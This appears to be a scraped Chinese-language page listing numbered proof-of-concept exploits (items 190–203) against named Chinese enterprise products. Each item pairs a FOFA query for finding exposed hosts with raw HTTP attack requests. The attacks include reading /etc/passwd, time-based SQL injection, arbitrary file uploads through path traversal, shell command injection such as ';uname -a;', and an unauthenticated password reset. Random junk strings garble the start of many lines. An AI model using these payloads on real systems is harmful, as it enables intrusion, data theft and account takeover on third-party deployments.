Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- _) c: R# H, d9 B5 zAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
8 o, G! B' m5 q9 t% O" s/ H

190. 短视频矩阵营销系统 poihuoqu 任意文件读取
+ \) y5 k" H% j- v! @FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
* M3 r# C6 b" x- k( y, l( c2 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
8 p# K' G- j9 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
* m' j/ J8 K3 UContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
8 o4 p% W) V: VAccept-Language: zh-CN,zh;q=0.9
3 P' {8 y% P" v/ \) G+ ?
poi=file:///etc/passwd
5 S+ u0 Y3 I; T  d- \- z
6 v0 s. L. a' W4 V8 G
7 T0 S3 }/ d3 o191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
9 F( ~7 p- a7 W$ N7 [FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
% b: g) ~: b8 x0 l: w/ KHost: your-ip
, r3 U2 ^4 J1 o! |. L: SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
  i$ Z% T: w2 v+ E; T  J
, C: N- M( R  }  Y) @- Ucommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
1 O$ y+ N$ D0 _2 e
) ]1 g& T. e7 {& M- }$ [* T  V
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
( H" A6 _/ C0 v  m7 QFOFA：title="用户登录_富通天下外贸ERP"
: o9 {" L5 V# A, }POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
4 a, J6 ~+ c( `Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
1 B- F0 t1 V8 p$ g1 a/ UContent-Type: application/x-www-form-urlencoded
2 n6 b5 Q4 w& i; n" B& a- c. m" ]

/ O+ Q( h3 Y, K( W<% @ webhandler language="C#" class="AverageHandler" %>
using System;
: z5 m4 u$ K' C, W# gusing System.Web;
public class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
) a+ r( f/ g9 t2 q$ Epublic void ProcessRequest(HttpContext ctx)
; l) Z5 M2 ]# F) a) |" b( j' u8 v{
3 g0 H/ Y- j3 t0 j0 Octx.Response.Write("test");
}
}
% i& {6 k& I  H$ t) _
4 T  t% ~- r$ h6 E
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
! R5 S' M* p! cGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
$ @' i% M4 {- X* F
! J  |8 B; f0 }) _
8 x* ^1 U& ~* |: B- f  xPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
7 o  H7 X) L$ c5 V4 c, [/ z8 y, hHost:
, d" J" j% f. F1 V" S$ y/ x3 FUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
8 j4 j2 h) J/ i6 _0 I, nAccept: */*
- {% D$ @! p+ r: P5 w8 GConnection: close
Cookie: PHPSESSID=2333333333333;
9 R6 v$ S( r& eContent-Type: application/x-www-form-urlencoded
( Y) I! r( m2 i& V% JContent-Length: 84
0 h/ P# X" v8 a  Y& n8 H
: z( P5 ~* n; n% Wparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
- f$ l) ~' y3 y3 Q' m5 g- }1 S

GET /master/img/config HTTP/1.1
Host:
7 ^) C# v9 b+ F4 d* [2 C( aUser-Agent: Mozilla/5.0
& l8 Z; H9 m  v% R

) C. f; A' r% J: g4 b9 n194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
5 v% n6 J" o' \- n& f3 jFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
' P5 x6 r9 B$ r! c( t% ~
1 _) c4 s% s' f0 J& L0 hPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
" Q0 \3 a" k# ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ h6 @3 G6 e' D9 mAccept-Encoding: gzip, deflate
Connection: close
' B: v- ^  K0 [) _Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
% H5 U( Y# h. {; B------WebKitFormBoundaryKNt0t4vBe8cX9rZk

- h4 U' n% q: E7 B6 J( E1 o; v" EContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
' Z1 _% X- p2 A/ X------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

" T* M& w. f8 d0 y
) Z' A; G* T0 q% z- a" H" f195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
" }; ]1 K2 R; \8 ~# L) VFOFA：title=="飞鱼星企业级智能上网行为管理系统
( Z2 P. y& x) S7 DPOST /send_order.cgi?parameter=operation HTTP/1.1
- `+ M. H. l% Q3 z" KHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ s" m# [- ^5 Q! Z+ Q' {Accept: */*
  Q7 |* v. S; {7 r8 ]* cAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
- U4 ]5 o+ J- v+ vContent-Type: application/x-www-form-urlencoded
% d- Y) W. m# q  s+ u9 C$ zContent-Length: 68
! F# B' {. A& D  y% z. [# U8 ^
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
1 A2 G# W7 |5 [) J# z" {* v

196. 河南省风速科技统一认证平台密码重置
6 Y/ H0 t) l8 n) bFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
' w, h1 a- M. x# ?POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
" A$ x6 a& m, @; t5 g) r$ h1 }3 ~X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
* I' D/ n0 s& O  a) v* R" bContent-Length: 45
2 h, j& M1 h$ A8 uConnection: close

{"xgh":"test","newPass":"test666","email":""}
& s2 p4 Y! Z8 S9 W6 Q
0 @  h& |1 m' ]
- K: Q9 y! R1 e: }, w. [0 y4 s& a5 y7 W
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
4 h, g* [# a! N% ]! |8 A' `- GHost:
! a6 S0 Z9 e" e: [  a8 J- lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
6 F$ m" a' A: \/ K+ mAccept-Encoding: gzip, deflate
Connection: close
6 ~3 K% A, x' I% w0 s

8 _- ~6 x9 y7 Y# f" S
198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
$ Y- g& v! T/ IGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
& q1 ~" N  R  C5 V0 f: OAccept: */*
Accept-Encoding: gzip, deflate
$ x# L) v' U9 A. m9 Z; JAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
3 i8 E, M' [; L7 l4 G7 @6 `Connection: close
5 s- R& m9 J# e9 V

199. cockpit系统assetsmanager_upload接口 文件上传
4 \9 i4 f7 T8 y+ Z3 M4 h. M
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
0 c; @7 t3 s9 x+ S, o0 `GET /auth/login?to=/ HTTP/1.1
* C6 y# W# U% l' L
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：
: J7 A& m+ u; k) j" O5 K
' X1 D6 Y" u+ p) F  u+ J* pPOST /auth/check HTTP/1.1
Content-Type: application/json
  U: i( V8 y$ Y5 ?: P* ?* A5 Q
3 n* o2 J+ M; x* F' N0 a0 z* p{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
+ c1 @4 h" w( l8 [4 ^
- ]# m7 |: c* Y; x' f响应：200，返回值:
: e' W* N% U) e0 bSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
3 v& t' v! y; p$ oFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
. q  S" w) l0 ^% CContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
  k6 d" a- Z8 B
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
; x% E5 t$ u" C- c1 s7 CContent-Type: text/php

8 f* ~0 I0 c( n; {3 ~<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--

1 K. }# o* v% Q
* \, C+ |1 q9 R5 `. h5 k2 r) O5 Q/storage/uploads/tttt.php

* \3 J: @; Q% ^5 R( x- F200. SeaCMS海洋影视管理系统dmku SQL注入
3 O: x1 q  r/ w: XFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
  j& H, S4 I8 K% S, IUpgrade-Insecure-Requests: 1
0 {* C2 w: W$ K* k, \; n9 KCache-Control: max-age=0
( y( x' y* v! JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& w* w) I; M& e8 ~/ k# X" kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

4 B4 L! t% j2 P# ~& p+ P
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
- v, `3 u' M3 l5 ePOST /newsedit/newsplan/task/binary.do HTTP/1.1
1 c/ n6 ^+ o; E1 F8 n( B# B+ S# W/ @Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& q! @9 f! @, B" K8 GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 b! J' C' [5 TConnection: close
  h- U: A* G, w
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

& \% B. U8 p2 x3 f( y2 R# V( l
" M+ e, ?+ W' [8 h6 ~202. 微擎系统 AccountEdit任意文件上传
: h& C2 p. l* s8 R& ?; v( d$ z9 ZFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
" O' c4 t7 h+ @/ v9 ~Content-Length: 0

" L/ X/ b- M( {8 d
替换__VIEWSTATE和__EVENTVALIDATION值
+ h7 U; Q: o- `POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
6 {! F  `/ X( e* l7 R) fContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
6 q+ N) U, d" ]5 h% Q) R7 V1 b
, [; l2 ^' l- s! b1 |: s2 a( w. e2 T-----------------------------786435874t38587593865736587346567358735687
+ t$ v5 T7 a3 p5 E, OContent-Disposition: form-data; name="__VIEWSTATE"

2 t7 U0 ?# Q; ~__VIEWSTATE
3 ?* L5 k' ~( {! Y& u4 _* S' x- E-----------------------------786435874t38587593865736587346567358735687
$ G/ V2 W- {1 f! ]' r6 K' o9 n" k: k3 \Content-Disposition: form-data; name="__EVENTVALIDATION"

* K4 {0 p9 p) m' M7 w; m__EVENTVALIDATION
/ E3 T  k7 U  Z' [! @-----------------------------786435874t38587593865736587346567358735687
) R6 q" ~* J$ `) |! gContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
( y, a1 ~2 ], K! P5 `9 E5 J
! \! Z. I$ Z) e( |5 @/ p/ WHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
  f1 e5 d4 A6 n9 c7 h. v
  R3 S# E* ]5 g# R上传图片
-----------------------------786435874t38587593865736587346567358735687
0 W7 S/ Q3 d. r3 MContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

! p2 C+ G; Z: G1 P; m1 @
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
6 m7 j* i( s: E* o' A$ E
) F! b; p. e6 \- }/ Y* v- `
-----------------------------786435874t38587593865736587346567358735687--
7 Z! \* B# `  B
4 ?6 i9 a* w# }0 Q
/_data/Uploads/1123.txt
. Z7 w1 A8 S  e, u6 `- U) `
203. 红海云EHR PtFjk 文件上传
2 d, F' q; f( Z1 T! ?* ?FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
1 _5 [0 L+ \5 T/ P% eAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
$ z, K# R+ q9 ~) ]3 c( a$ K
. }$ T: n: r, x; `# _5 e9 ]/ O  y( F------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
6 H; F4 ]- |& n- jContent-Type:image/jpeg

' U- D& L+ d4 L2 V<% out.print("hello,eHR");%>
4 g* Q7 y2 F, v------WebKitFormBoundaryt7WbDl1tXogoZys4--
& X" Y5 k1 N/ r+ z) J: y; ?5 c
) }( f( \9 A/ w8 Y
$ \* E# z: {6 h8 V8 T
( [- h+ f: q* ?9 v: H8 z
# ^% ^# j' \% c. O4 v" F
0 }+ f. F  B' P/ O0 r) x
' l$ R! O2 r* {" _- u* b# b